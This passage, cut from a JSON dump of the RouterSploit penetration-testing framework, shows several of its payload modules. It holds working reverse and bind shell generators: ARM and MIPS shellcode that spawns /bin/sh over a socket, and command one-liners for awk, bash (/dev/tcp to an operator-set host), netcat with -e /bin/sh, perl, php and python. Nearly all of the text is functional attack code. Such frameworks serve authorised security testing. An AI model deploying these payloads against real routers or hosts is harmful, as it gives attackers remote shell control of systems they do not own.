    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\n\n\nclass Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"ARMLE Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell for ARMLE architecture.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.ARMLE\n\n    def generate(self):\n        reverse_ip = utils.convert_ip(self.lhost)\n        reverse_port = utils.convert_port(self.lport)\n\n        return (\n            b\"\\x01\\x10\\x8F\\xE2\" +\n            b\"\\x11\\xFF\\x2F\\xE1\" +\n            b\"\\x02\\x20\\x01\\x21\" +\n            b\"\\x92\\x1A\\x0F\\x02\" +\n            b\"\\x19\\x37\\x01\\xDF\" +\n            b\"\\x06\\x1C\\x08\\xA1\" +\n            b\"\\x10\\x22\\x02\\x37\" +\n            b\"\\x01\\xDF\\x3F\\x27\" +\n            b\"\\x02\\x21\\x30\\x1c\" +\n            b\"\\x01\\xdf\\x01\\x39\" +\n            b\"\\xFB\\xD5\\x05\\xA0\" +\n            b\"\\x92\\x1a\\x05\\xb4\" +\n            b\"\\x69\\x46\\x0b\\x27\" +\n            b\"\\x01\\xDF\\xC0\\x46\" +\n            b\"\\x02\\x00\" + reverse_port +  # \"\\x12\\x34\" struct sockaddr and port\n            reverse_ip +                 # reverse ip address\n            b\"\\x2f\\x62\\x69\\x6e\" +         # /bin\n            b\"\\x2f\\x73\\x68\\x00\"           # /sh\\0\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/cmd/awk_bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Awk Bind TCP\",\n        \"description\": \"Creates an interactive tcp bind shell by using (g)awk.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"awk\", \"Awk binary\")\n\n    def generate(self):\n        return (\n            self.cmd +\n            \" 'BEGIN{s=\\\"/inet/tcp/\" +\n            str(self.rport) +\n            \"/0/0\\\";for(;s|&getline c;close(c))\" +\n            \"while(c|getline)print|&s;close(s)}'\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/awk_bind_udp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Awk Bind UDP\",\n        \"description\": \"Creates an interactive udp bind shell by using (g)awk.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"awk\", \"Awk binary\")\n\n    def generate(self):\n        return (\n            self.cmd +\n            \" 'BEGIN{s=\\\"/inet/udp/\" +\n            str(self.rport) +\n            \"/0/0\\\";for(;s|&getline c;close(c))\" +\n            \"while(c|getline)print|&s;close(s)}'\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/awk_reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Awk Reverse TCP\",\n        \"description\": \"Creates an interactive tcp reverse shell by using (g)awk.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"awk\", \"Awk binary\")\n\n    def generate(self):\n        return (\n            self.cmd +\n            \" 'BEGIN{s=\\\"/inet/tcp/0/\" +\n            \"{}/{}\".format(self.lhost, self.lport) +\n            \"\\\";for(;s|&getline c;close(c))\" +\n            \"while(c|getline)print|&s;close(s)};'\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/bash_reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Bash Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell by using bash.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"bash\", \"Bash binary\")\n\n    def generate(self):\n        return \"{} -i >& /dev/tcp/{}/{} 0>&1\".format(self.cmd, self.lhost, self.lport)\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/netcat_bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Netcat Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell by using netcat.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"nc\", \"Netcat binary\")\n    shell_binary = OptString(\"/bin/sh\", \"Shell\")\n\n    def generate(self):\n        return \"{} -lvp {} -e {}\".format(self.cmd,\n                                         self.rport,\n                                         self.shell_binary)\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/netcat_reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Netcat Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell by using netcat.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"nc\", \"Netcat binary\")\n    shell_binary = OptString(\"/bin/sh\", \"Shell\")\n\n    def generate(self):\n        return \"{} {} {} -e {}\".format(self.cmd,\n                                       self.lhost,\n                                       self.lport,\n                                       self.shell_binary)\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/perl_bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.perl.bind_tcp import Payload as PerlBindTCP\n\n\nclass Payload(PerlBindTCP):\n    __info__ = {\n        \"name\": \"Perl Bind TCP One-Liner\",\n        \"description\": \"Creates interactive tcp bind shell by using perl one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"perl\", \"Perl binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + \" -MIO -e \\\"{}\\\"\"\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/perl_reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.perl.reverse_tcp import Payload as PerlReverseTCP\n\n\nclass Payload(PerlReverseTCP):\n    __info__ = {\n        \"name\": \"Perl Reverse TCP One-Liner\",\n        \"description\": \"Creates interactive tcp reverse shell by using perl one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"perl\", \"Perl binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + \" -MIO -e \\\"{}\\\"\"\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/php_bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.php.bind_tcp import Payload as PHPBindTCP\n\n\nclass Payload(PHPBindTCP):\n    __info__ = {\n        \"name\": \"PHP Bind TCP One-Liner\",\n        \"description\": \"Creates interactive tcp bind shell by using php one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"php\", \"PHP binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + ' -r \"{}\"'\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/php_reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.php.reverse_tcp import Payload as PHPReverseTCP\n\n\nclass Payload(PHPReverseTCP):\n    __info__ = {\n        \"name\": \"PHP Reverse TCP One-Liner\",\n        \"description\": \"Creates interactive tcp reverse shell by using php one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"php\", \"PHP binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + ' -r \"{}\"'\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/python_bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.python.bind_tcp import Payload as PythonBindTCP\n\n\nclass Payload(PythonBindTCP):\n    __info__ = {\n        \"name\": \"Python Reverse TCP One-Liner\",\n        \"description\": \"Creates interactive tcp bind shell by using python one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"python\", \"Python binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + ' -c \"{}\"'\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/python_bind_udp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.python.bind_udp import Payload as PythonBindUDP\n\n\nclass Payload(PythonBindUDP):\n    __info__ = {\n        \"name\": \"Python Bind UDP One-Liner\",\n        \"description\": \"Creates interactive udp bind shell by using python one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        )\n    }\n\n    cmd = OptString(\"python\", \"Python binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + ' -c \"{}\"'\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/python_reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.python.reverse_tcp import Payload as PythonReverseTCP\n\n\nclass Payload(PythonReverseTCP):\n    __info__ = {\n        \"name\": \"Python Reverse TCP One-Liner\",\n        \"description\": \"Creates interactive tcp reverse shell by using python one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    cmd = OptString(\"python\", \"Python binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + ' -c \"{}\"'\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/cmd/python_reverse_udp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.payloads.python.reverse_udp import Payload as PythonBindUDP\n\n\nclass Payload(PythonBindUDP):\n    __info__ = {\n        \"name\": \"Python Reverse UDP One-Liner\",\n        \"description\": \"Creates interactive udp reverse shell by using python one-liner.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        )\n    }\n\n    cmd = OptString(\"python\", \"Python binary\")\n\n    def generate(self):\n        self.fmt = self.cmd + ' -c \"{}\"'\n        payload = super(Payload, self).generate()\n        return payload\n"
  },
  {
    "path": "routersploit/modules/payloads/mipsbe/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/mipsbe/bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\n\n\nclass Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"MIPSBE Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell for MIPSBE architecture.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.MIPSBE\n\n    def generate(self):\n        bind_port = utils.convert_port(self.rport)\n\n        return (\n            # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3\n            b\"\\x27\\xbd\\xff\\xe0\" +        # addiu   sp,sp,-32\n            b\"\\x24\\x0e\\xff\\xfd\" +        # li      t6,-3\n            b\"\\x01\\xc0\\x20\\x27\" +        # nor     a0,t6,zero\n            b\"\\x01\\xc0\\x28\\x27\" +        # nor     a1,t6,zero\n            b\"\\x28\\x06\\xff\\xff\" +        # slti    a2,zero,-1\n            b\"\\x24\\x02\\x10\\x57\" +        # li      v0,4183 ( __NR_socket )\n            b\"\\x01\\x01\\x01\\x0c\" +        # syscall\n\n            # bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr(\"0.0.0.0\")}, 16) = 0\n            b\"\\x30\\x50\\xff\\xff\" +        # andi    s0,v0,0xffff\n            b\"\\x24\\x0e\\xff\\xef\" +        # li      t6,-17                        ; t6: 0xffffffef\n            b\"\\x01\\xc0\\x70\\x27\" +        # nor     t6,t6,zero                    ; t6: 0x10 (16)\n            b\"\\x24\\x0d\\xff\\xfd\" +        # li      t5,-3                         ; t5: -3\n            b\"\\x01\\xa0\\x68\\x27\" +        # nor     t5,t5,zero                    ; t5: 0x2\n            b\"\\x01\\xcd\\x68\\x04\" +        # sllv    t5,t5,t6                      ; t5: 0x00020000\n            b\"\\x24\\x0e\" + bind_port +    # li      t6,0xFFFF (port)   ; t6: 0x115c (4444 (default LPORT))\n            b\"\\x01\\xae\\x68\\x25\" +        # or      t5,t5,t6                      ; t5: 0x0002115c\n            b\"\\xaf\\xad\\xff\\xe0\" +        # sw      t5,-32(sp)\n            b\"\\xaf\\xa0\\xff\\xe4\" +        # sw      zero,-28(sp)\n            b\"\\xaf\\xa0\\xff\\xe8\" +        # sw      zero,-24(sp)\n            b\"\\xaf\\xa0\\xff\\xec\" +        # sw      zero,-20(sp)\n            b\"\\x02\\x10\\x20\\x25\" +        # or      a0,s0,s0\n            b\"\\x24\\x0e\\xff\\xef\" +        # li      t6,-17\n            b\"\\x01\\xc0\\x30\\x27\" +        # nor     a2,t6,zero\n            b\"\\x23\\xa5\\xff\\xe0\" +        # addi    a1,sp,-32\n            b\"\\x24\\x02\\x10\\x49\" +        # li      v0,4169 ( __NR_bind )A\n            b\"\\x01\\x01\\x01\\x0c\" +        # syscall\n\n            # listen(3, 257) = 0\n            b\"\\x02\\x10\\x20\\x25\" +        # or      a0,s0,s0\n            b\"\\x24\\x05\\x01\\x01\" +        # li      a1,257\n            b\"\\x24\\x02\\x10\\x4e\" +        # li      v0,4174 ( __NR_listen )\n            b\"\\x01\\x01\\x01\\x0c\" +        # syscall\n\n            # accept(3, 0, NULL) = 4\n            b\"\\x02\\x10\\x20\\x25\" +        # or      a0,s0,s0\n            b\"\\x28\\x05\\xff\\xff\" +        # slti    a1,zero,-1\n            b\"\\x28\\x06\\xff\\xff\" +        # slti    a2,zero,-1\n            b\"\\x24\\x02\\x10\\x48\" +        # li      v0,4168 ( __NR_accept )\n            b\"\\x01\\x01\\x01\\x0c\" +        # syscall\n\n            # dup2(4, 2) = 2\n            # dup2(4, 1) = 1\n            # dup2(4, 0) = 0\n            b\"\\xaf\\xa2\\xff\\xff\" +        # sw v0,-1(sp) # socket\n            b\"\\x24\\x11\\xff\\xfd\" +        # li s1,-3\n            b\"\\x02\\x20\\x88\\x27\" +        # nor s1,s1,zero\n            b\"\\x8f\\xa4\\xff\\xff\" +        # lw a0,-1(sp)\n            b\"\\x02\\x20\\x28\\x21\" +        # move a1,s1 # dup2_loop\n            b\"\\x24\\x02\\x0f\\xdf\" +        # li v0,4063 ( __NR_dup2 )\n            b\"\\x01\\x01\\x01\\x0c\" +        # syscall 0x40404\n            b\"\\x24\\x10\\xff\\xff\" +        # li s0,-1\n            b\"\\x22\\x31\\xff\\xff\" +        # addi s1,s1,-1\n            b\"\\x16\\x30\\xff\\xfa\" +        # bne s1,s0 <dup2_loop>\n\n            # execve(\"//bin/sh\", [\"//bin/sh\"], [/* 0 vars */]) = 0\n            b\"\\x28\\x06\\xff\\xff\" +        # slti a2,zero,-1\n            b\"\\x3c\\x0f\\x2f\\x2f\" +        # lui t7,0x2f2f \"//\"\n            b\"\\x35\\xef\\x62\\x69\" +        # ori t7,t7,0x6269 \"bi\"\n            b\"\\xaf\\xaf\\xff\\xec\" +        # sw t7,-20(sp)\n            b\"\\x3c\\x0e\\x6e\\x2f\" +        # lui t6,0x6e2f \"n/\"\n            b\"\\x35\\xce\\x73\\x68\" +        # ori t6,t6,0x7368 \"sh\"\n            b\"\\xaf\\xae\\xff\\xf0\" +        # sw t6,-16(sp)\n            b\"\\xaf\\xa0\\xff\\xf4\" +        # sw zero,-12(sp)\n            b\"\\x27\\xa4\\xff\\xec\" +        # addiu a0,sp,-20\n            b\"\\xaf\\xa4\\xff\\xf8\" +        # sw a0,-8(sp)\n            b\"\\xaf\\xa0\\xff\\xfc\" +        # sw zero,-4(sp)\n            b\"\\x27\\xa5\\xff\\xf8\" +        # addiu a1,sp,-8\n            b\"\\x24\\x02\\x0f\\xab\" +        # li v0,4011 ( __NR_execve )\n            b\"\\x01\\x01\\x01\\x0c\"          # syscall 0x40404\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/mipsbe/reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\n\n\nclass Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"MIPSBE Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell for MIPSBE architecture.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.MIPSBE\n\n    def generate(self):\n        reverse_ip = utils.convert_ip(self.lhost)\n        reverse_port = utils.convert_port(self.lport)\n\n        return (\n            b\"\\x28\\x04\\xff\\xff\" +            # slti     a0,zero,-1\n            b\"\\x24\\x02\\x0f\\xa6\" +            # li       v0,4006\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x28\\x04\\x11\\x11\" +            # slti     a0,zero,4369\n            b\"\\x24\\x02\\x0f\\xa6\" +            # li       v0,4006\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x24\\x0c\\xff\\xfd\" +            # li       t4,-3\n            b\"\\x01\\x80\\x20\\x27\" +            # nor      a0,t4,zero\n            b\"\\x24\\x02\\x0f\\xa6\" +            # li       v0,4006\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x24\\x0c\\xff\\xfd\" +            # li       t4,-3\n            b\"\\x01\\x80\\x20\\x27\" +            # nor      a0,t4,zero\n            b\"\\x01\\x80\\x28\\x27\" +            # nor      a1,t4,zero\n            b\"\\x28\\x06\\xff\\xff\" +            # slti     a2,zero,-1\n            b\"\\x24\\x02\\x10\\x57\" +            # li       v0,4183\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x30\\x44\\xff\\xff\" +            # andi     a0,v0,0xffff\n            b\"\\x24\\x02\\x0f\\xc9\" +            # li       v0,4041\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x24\\x02\\x0f\\xc9\" +            # li       v0,4041\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x3c\\x05\\x00\\x02\" +            # lui      a1,0x2\n            b\"\\x34\\xa5\" + reverse_port +     # \"\\x7a\\x69\"  # ori   a1,a1,0x7a69\n            b\"\\xaf\\xa5\\xff\\xf8\" +            # sw       a1,-8(sp)\n            b\"\\x3c\\x05\" + reverse_ip[:2] +   # \"\\xc0\\xa8\"  # lui   a1,0xc0a8\n            b\"\\x34\\xa5\" + reverse_ip[2:] +   # \"\\x01\\x37\"  # ori   a1,a1,0x137\n            b\"\\xaf\\xa5\\xff\\xfc\" +            # sw       a1,-4(sp)\n            b\"\\x23\\xa5\\xff\\xf8\" +            # addi     a1,sp,-8\n            b\"\\x24\\x0c\\xff\\xef\" +            # li       t4,-17\n            b\"\\x01\\x80\\x30\\x27\" +            # nor      a2,t4,zero\n            b\"\\x24\\x02\\x10\\x4a\" +            # li       v0,4170\n            b\"\\x01\\x09\\x09\\x0c\" +            # syscall  0x42424\n            b\"\\x3c\\x08\\x2f\\x2f\" +            # lui      t0,0x2f2f\n            b\"\\x35\\x08\\x62\\x69\" +            # ori      t0,t0,0x6269\n            b\"\\xaf\\xa8\\xff\\xec\" +            # sw       t0,-20(sp)\n            b\"\\x3c\\x08\\x6e\\x2f\" +            # lui      t0,0x6e2f\n            b\"\\x35\\x08\\x73\\x68\" +            # ori      t0,t0,0x7368\n            b\"\\xaf\\xa8\\xff\\xf0\" +            # sw       t0,-16(sp)\n            b\"\\x28\\x07\\xff\\xff\" +            # slti     a3,zero,-1\n            b\"\\xaf\\xa7\\xff\\xf4\" +            # sw       a3,-12(sp)\n            b\"\\xaf\\xa7\\xff\\xfc\" +            # sw       a3,-4(sp)\n            b\"\\x23\\xa4\\xff\\xec\" +            # addi     a0,sp,-20\n            b\"\\x23\\xa8\\xff\\xec\" +            # addi     t0,sp,-20\n            b\"\\xaf\\xa8\\xff\\xf8\" +            # sw       t0,-8(sp)\n            b\"\\x23\\xa5\\xff\\xf8\" +            # addi     a1,sp,-8\n            b\"\\x27\\xbd\\xff\\xec\" +            # addiu    sp,sp,-20\n            b\"\\x28\\x06\\xff\\xff\" +            # slti     a2,zero,-1\n            b\"\\x24\\x02\\x0f\\xab\" +            # li       v0,4011\n            b\"\\x00\\x90\\x93\\x4c\"              # syscall  0x2424d\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/mipsle/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/mipsle/bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\n\n\nclass Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"MIPSLE Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell for MIPSLE architecture.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.MIPSLE\n\n    def generate(self):\n        bind_port = utils.convert_port(self.rport)\n\n        return (\n            b\"\\xe0\\xff\\xbd\\x27\" +  # addiu   sp,sp,-32\n            b\"\\xfd\\xff\\x0e\\x24\" +  # li      t6,-3\n            b\"\\x27\\x20\\xc0\\x01\" +  # nor     a0,t6,zero\n            b\"\\x27\\x28\\xc0\\x01\" +  # nor     a1,t6,zero\n            b\"\\xff\\xff\\x06\\x28\" +  # slti    a2,zero,-1\n            b\"\\x57\\x10\\x02\\x24\" +  # li      v0,4183 ( __NR_socket )\n            b\"\\x0c\\x01\\x01\\x01\" +  # syscall\n\n            b\"\\xff\\xff\\x50\\x30\" +  # andi    s0,v0,0xffff\n            b\"\\xef\\xff\\x0e\\x24\" +  # li      t6,-17                        ; t6: 0xffffffef\n            b\"\\x27\\x70\\xc0\\x01\" +  # nor     t6,t6,zero                    ; t6: 0x10 (16)\n            bind_port + b\"\\x0d\\x24\" +  # li      t5,0xFFFF (port)   ; t5: 0x5c11 (0x115c == 4444 (default LPORT))\n            b\"\\x04\\x68\\xcd\\x01\" +  # sllv    t5,t5,t6                      ; t5: 0x5c110000\n            b\"\\xfd\\xff\\x0e\\x24\" +  # li      t6,-3                         ; t6: -3\n            b\"\\x27\\x70\\xc0\\x01\" +  # nor     t6,t6,zero                    ; t6: 0x2\n            b\"\\x25\\x68\\xae\\x01\" +  # or      t5,t5,t6                      ; t5: 0x5c110002\n            b\"\\xe0\\xff\\xad\\xaf\" +  # sw      t5,-32(sp)\n            b\"\\xe4\\xff\\xa0\\xaf\" +  # sw      zero,-28(sp)\n            b\"\\xe8\\xff\\xa0\\xaf\" +  # sw      zero,-24(sp)\n            b\"\\xec\\xff\\xa0\\xaf\" +  # sw      zero,-20(sp)\n            b\"\\x25\\x20\\x10\\x02\" +  # or      a0,s0,s0\n            b\"\\xef\\xff\\x0e\\x24\" +  # li      t6,-17\n            b\"\\x27\\x30\\xc0\\x01\" +  # nor     a2,t6,zero\n            b\"\\xe0\\xff\\xa5\\x23\" +  # addi    a1,sp,-32\n            b\"\\x49\\x10\\x02\\x24\" +  # li      v0,4169 ( __NR_bind )A\n            b\"\\x0c\\x01\\x01\\x01\" +  # syscall\n\n            b\"\\x25\\x20\\x10\\x02\" +  # or      a0,s0,s0\n            b\"\\x01\\x01\\x05\\x24\" +  # li      a1,257\n            b\"\\x4e\\x10\\x02\\x24\" +  # li      v0,4174 ( __NR_listen )\n            b\"\\x0c\\x01\\x01\\x01\" +  # syscall\n\n            b\"\\x25\\x20\\x10\\x02\" +  # or      a0,s0,s0\n            b\"\\xff\\xff\\x05\\x28\" +  # slti    a1,zero,-1\n            b\"\\xff\\xff\\x06\\x28\" +  # slti    a2,zero,-1\n            b\"\\x48\\x10\\x02\\x24\" +  # li      v0,4168 ( __NR_accept )\n            b\"\\x0c\\x01\\x01\\x01\" +  # syscall\n\n            b\"\\xff\\xff\\xa2\\xaf\" +  # sw v0,-1(sp) # socket\n            b\"\\xfd\\xff\\x11\\x24\" +  # li s1,-3\n            b\"\\x27\\x88\\x20\\x02\" +  # nor s1,s1,zero\n            b\"\\xff\\xff\\xa4\\x8f\" +  # lw a0,-1(sp)\n            b\"\\x21\\x28\\x20\\x02\" +  # move a1,s1 # dup2_loop\n            b\"\\xdf\\x0f\\x02\\x24\" +  # li v0,4063 ( __NR_dup2 )\n            b\"\\x0c\\x01\\x01\\x01\" +  # syscall 0x40404\n            b\"\\xff\\xff\\x10\\x24\" +  # li s0,-1\n            b\"\\xff\\xff\\x31\\x22\" +  # addi s1,s1,-1\n            b\"\\xfa\\xff\\x30\\x16\" +  # bne s1,s0 <dup2_loop>\n\n            b\"\\xff\\xff\\x06\\x28\" +  # slti a2,zero,-1\n            b\"\\x62\\x69\\x0f\\x3c\" +  # lui t7,0x2f2f \"bi\"\n            b\"\\x2f\\x2f\\xef\\x35\" +  # ori t7,t7,0x6269 \"//\"\n            b\"\\xec\\xff\\xaf\\xaf\" +  # sw t7,-20(sp)\n            b\"\\x73\\x68\\x0e\\x3c\" +  # lui t6,0x6e2f \"sh\"\n            b\"\\x6e\\x2f\\xce\\x35\" +  # ori t6,t6,0x7368 \"n/\"\n            b\"\\xf0\\xff\\xae\\xaf\" +  # sw t6,-16(sp)\n            b\"\\xf4\\xff\\xa0\\xaf\" +  # sw zero,-12(sp)\n            b\"\\xec\\xff\\xa4\\x27\" +  # addiu a0,sp,-20\n            b\"\\xf8\\xff\\xa4\\xaf\" +  # sw a0,-8(sp)\n            b\"\\xfc\\xff\\xa0\\xaf\" +  # sw zero,-4(sp)\n            b\"\\xf8\\xff\\xa5\\x27\" +  # addiu a1,sp,-8\n            b\"\\xab\\x0f\\x02\\x24\" +  # li v0,4011 ( __NR_execve )\n            b\"\\x0c\\x01\\x01\\x01\"  # syscall 0x40404\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/mipsle/reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\n\n\nclass Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"MIPSLE Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell for MIPSLE architecture.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.MIPSLE\n\n    def generate(self):\n        reverse_ip = utils.convert_ip(self.lhost)\n        reverse_port = utils.convert_port(self.lport)\n\n        return (\n            b\"\\xff\\xff\\x04\\x28\" +            # slti    a0,zero,-1\n            b\"\\xa6\\x0f\\x02\\x24\" +            # li      v0,4006\n            b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            b\"\\x11\\x11\\x04\\x28\" +            # slti    a0,zero,4369\n            b\"\\xa6\\x0f\\x02\\x24\" +            # li      v0,4006\n            b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            b\"\\xfd\\xff\\x0c\\x24\" +            # li      t4,-3\n            b\"\\x27\\x20\\x80\\x01\" +            # nor     a0,t4,zero\n            b\"\\xa6\\x0f\\x02\\x24\" +            # li      v0,4006\n            b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            b\"\\xfd\\xff\\x0c\\x24\" +            # li      t4,-3\n            b\"\\x27\\x20\\x80\\x01\" +            # nor     a0,t4,zero\n            b\"\\x27\\x28\\x80\\x01\" +            # nor     a1,t4,zero\n            b\"\\xff\\xff\\x06\\x28\" +            # slti    a2,zero,-1\n            b\"\\x57\\x10\\x02\\x24\" +            # li      v0,4183\n            b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            b\"\\xff\\xff\\x44\\x30\" +            # andi    a0,v0,0xffff\n            b\"\\xc9\\x0f\\x02\\x24\" +            # li      v0,4041\n            